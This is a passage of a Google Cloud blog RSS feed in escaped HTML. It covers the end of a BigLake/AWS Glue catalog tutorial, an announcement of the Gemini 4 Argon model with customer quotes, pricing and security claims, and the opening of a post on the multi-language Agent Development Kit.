&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;5. Enable metadata synchronization and verify&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;bash&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;gcloud alpha biglake iceberg catalogs update glue_retail_db \\\r\n  --project=&amp;quot;$GCP_PROJECT_ID&amp;quot; \\\r\n  --refresh-interval=&amp;quot;300s&amp;quot;&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6200a4850&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Verify that the namespaces are discovered and synchronized:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;bash&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;# Verify namespaces synchronized from AWS Glue\r\ngcloud alpha biglake iceberg namespaces list \\\r\n  --project=&amp;quot;$GCP_PROJECT_ID&amp;quot; \\\r\n  --catalog=&amp;quot;glue_retail_db&amp;quot;&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6200a4990&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;</description><pubDate>Tue, 13 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/products/data-analytics/cross-cloud-conversational-analytics-with-borderless-lakehouse/</guid><category>Data Analytics</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Cross-cloud conversational analytics made simple with open standards</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/products/data-analytics/cross-cloud-conversational-analytics-with-borderless-lakehouse/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Praveen Kumar</name><title>Customer Engineer, Data &amp; AI</title><department></department><company></company></author></item><item><title>Gemini 4 Argon available on Google Cloud, built to help solve your business’ hardest problems</title><link>https://cloud.google.com/blog/products/ai-machine-learning/gemini-4-argon-available-on-google-cloud/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Last week we announced that Gemini Enterprise has evolved to make it even simpler to get work done, and introduced the &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/welcome-to-gemini-at-work-2026"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini agent&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, your new universal agent for work. It's always on and ready to answer your questions. It will write code, complete longer and more complex tasks, or perform whatever you need to get the job done, all from a single prompt box. And model intelligence underpins it all.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To enable a new frontier of work, we are making our new frontier model, &lt;/span&gt;&lt;a href="https://deepmind.google/models/gemini/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini 4 Argon&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, available on Google Cloud. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;We trained Argon to work with both depth and precision, which allows it to maintain context across long, multi-step tasks which are reinforced with strong domain expertise along the way. Whether your team is running complex software builds, handling detailed financial and legal work, or deploying cybersecurity tools like &lt;/span&gt;&lt;a href="https://cloud.google.com/security/codemender"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;CodeMender&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, Argon helps your teams maintain focus from start to finish.&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt; &lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Gemini_4_Logo_Wall_3.max-1000x1000.png"
        
          alt="Logo Wall Argon V3"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="l3qrs"&gt;Customers and partners using Gemini 4 Argon&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Four ways Argon changes how your business works&lt;/span&gt;&lt;/h3&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;1. Hand off your hardest work&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Your teams already use Gemini for business to answer questions and draft content. With Argon, they can hand off the deep, multi-step work that used to take hours or days, and get back finished work they can use.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Argon reads long documents that mix text, tables, charts and images, and turns them into one clear output grounded in those sources. It can pull findings from many sources into a single structured answer, analyze data over time, and write stronger legal, finance, and executive documents. On long tasks, it keeps going until the job is done. We trained Argon to respect system boundaries, report negative findings honestly, and pause for confirmation before taking irreversible steps, and it tells you when it couldn't find something or finish a task.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Customers who tested Argon tell us it excels at turning huge, unstructured inputs into cohesive outputs. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;"As software development becomes more agentic, teams need models that can support long-running, multi-step work across all stages of the development lifecycle. Gemini 4 Argon is designed to help organizations bring AI into development, security, and operations while keeping it within established enterprise workflows and controls.” &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;– Stuart Moncada, VP, GitLab.&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;2. Precise, verifiable results on the work that drives your business&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In finance, legal, tax, and other regulated work, calculations and data extraction need to be precise, repeatable, and verifiable. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;For financial quantitative work, Argon can help automate multi-step ledger reconciliations, spreadsheet formulas, and variance analyses. It delivers high calculation integrity, citation fidelity, and formula accuracy across quantitative models. The proof is in the numbers: Argon leads on the &lt;/span&gt;&lt;a href="https://www.vals.ai/benchmarks/vals_index" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Vals Index&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, which measures economic impact across finance, coding, legal, and tax work.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In legal research, Argon can help legal teams review case law and regulatory filings to pull out verified citations and key precedents. It leads on domain-specific evaluations like Harvey's Legal Agent Benchmark for legal research and drafting, with strong citation fidelity and direct answers when helping teams evaluate complex legal precedents. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;"Gemini 4 Argon shows how much progress Google has made on agentic legal reasoning. We saw substantial improvements over Gemini 3.1 Pro across our legal agent evaluations, particularly in corporate M&amp;amp;A, data privacy and cybersecurity, and EC/VC. Accuracy also held up on long-document analysis, an encouraging result for lawyers working through detailed transactional matters." &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;– Niko Grupen, Head of Applied Research, Harvey.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;“We collaborated with Google on NowAI-Bench to help shape Gemini 4 for key enterprise work. In early access, it delivered roughly 20% improved task success than Gemini 3.8 Flash, with standout gains in HR and customer service. On the ServiceNow AI Platform, our L1 Service Desk AI specialist brings Google’s most advanced intelligence, governed and secure, turning tasks into fully autonomous work.” &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;- Nenshad Bardoliwalla, Senior Vice President, AI Products, ServiceNow.&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;3. Build and ship products faster&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Argon is built to handle complex, multi-step projects from start to finish. Our customers consistently ask for intelligence that can break down goals, track progress, and update multiple files at the same time.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;"Gemini 4 Argon handles complex tasks reliably, from 3D games to rich animations. In Figma Make, it helps teams turn their most ambitious, multi-step ideas into impressive prototypes.” &lt;strong&gt;– Loredana Crisan, Chief Design Officer, Figma. &lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To see how well Argon handles this, we put it to work on our own tools. The team behind our open-source Agent Development Kit (ADK) set out to reduce framework overhead and improve code performance while maintaining full compatibility with existing applications. Working autonomously overnight within automated testing guardrails, Argon surfaced optimizations, now live in google/adk-python, that &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;cut in-memory session prep time by 40% in long sessions and speed up cold imports by 21%. &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;To learn more, read the engineering deep dive &lt;/span&gt;&lt;a href="https://developers.googleblog.com/optimizing-a-200000-line-python-codebase-overnight-with-gemini-4-argon" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;here&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Across Google, engineering teams using Argon in Google Antigravity have increased agentic code submissions by more than 35% while cutting code rollbacks by nearly a third. The Chrome team used Argon to finish an architectural refactor across hundreds of files in Chromium's 40 million-line codebase, completing months of work in weeks. &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Argon's improvements in spatial reasoning, mathematical precision and visual coding also make it faster to go from idea to working prototype. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;For more advanced algorithms, our code optimization and discovery agent &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/alphaevolve-is-available-for-everyone"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;AlphaEvolve&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; uses &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/gemini/enterprise/docs/alphaevolve/reference-guide/api-reference#supported-models"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Argon&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to deliver strong performance improvements across real-world enterprise workloads, including factory scheduling, logistics, game code speed-ups, and chip layout — as well as complex mathematical benchmarks, and more. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To learn how to best use Argon, check out the developer's &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/gemini-enterprise-agent-platform/models/guides/gemini-4-argon"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;guide&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;4. Stronger defense for your code and business &lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;While Argon has cyber mitigations that block offensive tasks such as pentesting and exploitation,&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt; &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;you can still take full advantage of Argon’s defensive capabilities using &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/gemini-enterprise-agent-platform/agents/codemender"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;CodeMender&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to find and fix vulnerabilities, or use Argon with your own security harness.&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt; &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;It ties for first place on CWE-Bench v1 with a top score of &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;68% for remediating security vulnerabilities.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;"We are integrating Gemini 4 Argon into MarketingX for automated codebase security audits. In our evaluations, the model successfully identified 100% of top-priority vulnerabilities with 0% fabricated vulnerabilities across verified claims. This precision unlocks proactive, code-level security for our customers before deployment.” &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;- Yunus Emre, Chief AI Officer of AI Lab, HubX.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Security also means being able to trust Argon inside your own environment. &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Argon is our most resilient model yet against indirect prompt injections&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;, where malicious instructions or context are used to hijack a model’s behavior. It leads the Gray Swan Indirect Prompt Injection benchmark, cutting attack success across 15 adaptive attempts to 0.7%. That matters when Argon reads email, documents and webpages that may contain hidden malicious instructions. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;We are also releasing Argon without cyber guardrails to a select set of trusted defenders, which allows for testing a full breadth of cybersecurity capabilities. Trusted defenders are vetted through our &lt;/span&gt;&lt;a href="https://deepmind.google/fairwind-program/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Fairwind Program&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, a limited access initiative that provides government, critical infrastructure, and cybersecurity partners exclusive, unmitigated access to advanced  models. &lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Enterprise customers and partners in our early access program are already seeing strong wins with Argon.&lt;/span&gt;&lt;/h3&gt;&lt;/div&gt;
&lt;div class="block-video"&gt;



&lt;div class="article-module article-video "&gt;
  &lt;figure&gt;
    &lt;a class="h-c-video h-c-video--marquee"
      href="https://youtube.com/watch?v=opNsprLPCKc"
      data-glue-modal-trigger="uni-modal-opNsprLPCKc-"
      data-glue-modal-disabled-on-mobile="true"&gt;

      
        

        &lt;div class="article-video__aspect-image"
          style="background-image: url(https://storage.googleapis.com/gweb-cloudblog-publish/images/Teaser_2.2_approved.max-1000x1000.png);"&gt;
          &lt;span class="h-u-visually-hidden"&gt;Business leaders discuss how they are testing and building with Gemini 4 Argon.&lt;/span&gt;
        &lt;/div&gt;
      
      &lt;svg role="img" class="h-c-video__play h-c-icon h-c-icon--color-white"&gt;
        &lt;use xlink:href="#mi-youtube-icon"&gt;&lt;/use&gt;
      &lt;/svg&gt;
    &lt;/a&gt;

    
  &lt;/figure&gt;
&lt;/div&gt;

&lt;div class="h-c-modal--video"
     data-glue-modal="uni-modal-opNsprLPCKc-"
     data-glue-modal-close-label="Close Dialog"&gt;
   &lt;a class="glue-yt-video"
      data-glue-yt-video-autoplay="true"
      data-glue-yt-video-height="99%"
      data-glue-yt-video-vid="opNsprLPCKc"
      data-glue-yt-video-width="100%"
      href="https://youtube.com/watch?v=opNsprLPCKc"
      ng-cloak&gt;
   &lt;/a&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p style="text-align: center;"&gt;&lt;sup&gt;&lt;em&gt;Leaders from Amplitude, Deloitte, and Rakuten share Gemini 4 Argon results&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Get started&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Starting today, Gemini 4 Argon is available in &lt;/span&gt;&lt;a href="https://cloud.google.com/gemini-enterprise"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini for business&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; on the web, desktop, and mobile. Enterprise developers and builders can access Argon via API in &lt;/span&gt;&lt;a href="https://console.cloud.google.com/agent-platform/studio/multimodal;mode=prompt?model=gemini-4-argon&amp;amp;region=global"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini platform&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; under model ID &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;gemini-4-argon&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, in &lt;/span&gt;&lt;a href="https://aistudio.google.com/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google AI Studio&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, and in &lt;a href="https://antigravity.google/blog/gemini-4-argon-in-google-antigravity" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google Antigravity&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Argon launches at an introductory rate of $2 per million input tokens and $10 per million output tokens through November 30, 2026, with cached input tokens priced at 95% off. After November 30, standard pricing of $4 per million input tokens and $20 per million output tokens will apply. Review the &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/gemini-enterprise-agent-platform/models/gemini/4-argon"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;model card&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;a href="https://drive.google.com/file/d/1YQ0xENI0e-jauxPSxTfUoOQ9aXHGsoWh/view" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;developer guide&lt;/span&gt;&lt;/a&gt; &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;for complete technical specifications, token limits, and migration instructions.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Cyber defenders can join us at &lt;/span&gt;&lt;a href="https://cloudonair.withgoogle.com/events/summit-amer-security-2026?utm_source=cgc-blog&amp;amp;utm_medium=blog&amp;amp;utm_campaign=FY26-Q4-GLOBAL-GLO10000010-onlineeventsession-er-dgcsm-SS-NORAM-249572&amp;amp;utm_content=blog&amp;amp;utm_term=argon" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Security Summit&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to learn how to use Gemini 4 Argon to defend against machine-speed threats and automate remediation.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Tue, 13 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/products/ai-machine-learning/gemini-4-argon-available-on-google-cloud/</guid><category>AI &amp; Machine Learning</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/Gemini_4_argon.max-600x600.jpg" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Gemini 4 Argon available on Google Cloud, built to help solve your business’ hardest problems</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/Gemini_4_argon.max-600x600.jpg</image><site_name>Google</site_name><url>https://cloud.google.com/blog/products/ai-machine-learning/gemini-4-argon-available-on-google-cloud/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Michael Gerstenhaber</name><title>VP, Product Management, Gemini, Google Cloud</title><department></department><company></company></author></item><item><title>One Agent Development Kit, five languages</title><link>https://cloud.google.com/blog/topics/developers-practitioners/one-agent-development-kit-five-languages/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;When we talk about agents, that doesn't necessarily mean we're talking about Python. In today's modern ecosystem, an agent might run as a high-concurrency Go microservice on &lt;/span&gt;&lt;a href="https://cloud.google.com/run"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud Run&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, or &lt;/span&gt;&lt;a href="https://github.com/google/adk-js/blob/main/core/src/models/chrome_prompt_llm.ts" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;live inside a browser tab&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; calling Chrome's on-device model. Yet many agent frameworks assume a Python-only stack. That assumption forces teams to either spin up a Python service just for their agent workloads, or to build agent orchestration logic from scratch in their own language.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google's &lt;/span&gt;&lt;a href="https://adk.dev/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Agent Development Kit (ADK)&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;span style="vertical-align: baseline;"&gt;removes that trade-off with &lt;/span&gt;coverage for &lt;/span&gt;&lt;a href="https://github.com/google/adk-python" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Python&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://github.com/google/adk-go" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Go&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://github.com/google/adk-js" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;TypeScript&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://github.com/google/adk-java" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Java&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, and &lt;/span&gt;&lt;a href="https://github.com/google/adk-kotlin" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Kotlin&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. Each version of the ADK is built from the ground up for its own runtime and type system, while sharing a unified architecture with interoperability through open protocols.&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;&lt;span style="vertical-align: baseline;"&gt;A shared foundation&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Picking a language doesn't lock in your architecture: all five support the same open protocols. &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;ADK includes a &lt;/span&gt;&lt;a href="https://modelcontextprotocol.io/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Model Context Protocol&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; client in every language, so a custom tool exposed as an MCP server can be called from any of them immediately.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;For multi-agent systems, ADK supports the &lt;/span&gt;&lt;a href="https://github.com/a2aproject/A2A" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Agent2Agent (A2A)&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; protocol, allowing an agent to communicate with a remote agent over HTTP. Through A2A, agents written in different languages or frameworks are interoperable.&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;&lt;span style="vertical-align: baseline;"&gt;Starting agent-first&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To get started, run the one-time setup command to check your Google Cloud authentication, install the CLI, and then set up first-party ADK skills in coding agents like &lt;/span&gt;&lt;a href="https://antigravity.google/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Antigravity&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://docs.anthropic.com/en/docs/claude-code" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Claude Code&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, or &lt;/span&gt;&lt;a href="https://github.com/openai/codex" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Codex&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;uvx google-agents-cli setup&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd62136ebd0&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Then, run the scaffold command to generate a working project with A2A endpoints and deployment config for Cloud Run, &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/gemini-enterprise-agent-platform/build/runtime"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini Enterprise Agent Runtime&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, or &lt;/span&gt;&lt;a href="https://cloud.google.com/kubernetes-engine"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google Kubernetes Engine (GKE)&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;# Scaffold an ADK project (use --agent adk for Python or --agent adk_go for Go)\r\nagents-cli scaffold create my-go-agent \\\r\n  --agent adk_go \\\r\n  --deployment-target cloud_run \\\r\n  --region us-central1&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd62136dfd0&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Both the &lt;/span&gt;&lt;a href="https://github.com/google/adk-python/tree/main/.agents/skills/adk-agent-builder" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK for Python&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;a href="https://github.com/google/adk-kotlin/tree/main/.agents/skills/adk-kotlin-agent-builder" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK for Kotlin&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; repositories also ship agent builder skills in their source trees, and the &lt;/span&gt;&lt;a href="https://adk.dev/llms.txt" rel="noopener" target="_blank"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;adk.dev/llms.txt&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; resource gives any coding agent on-demand API documentation across all five languages.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/one-agent-development-kit-five-languages-a.max-1000x1000.jpg"
        
          alt="one-agent-development-kit-five-languages-architecture"&gt;
        
        &lt;/a&gt;
      
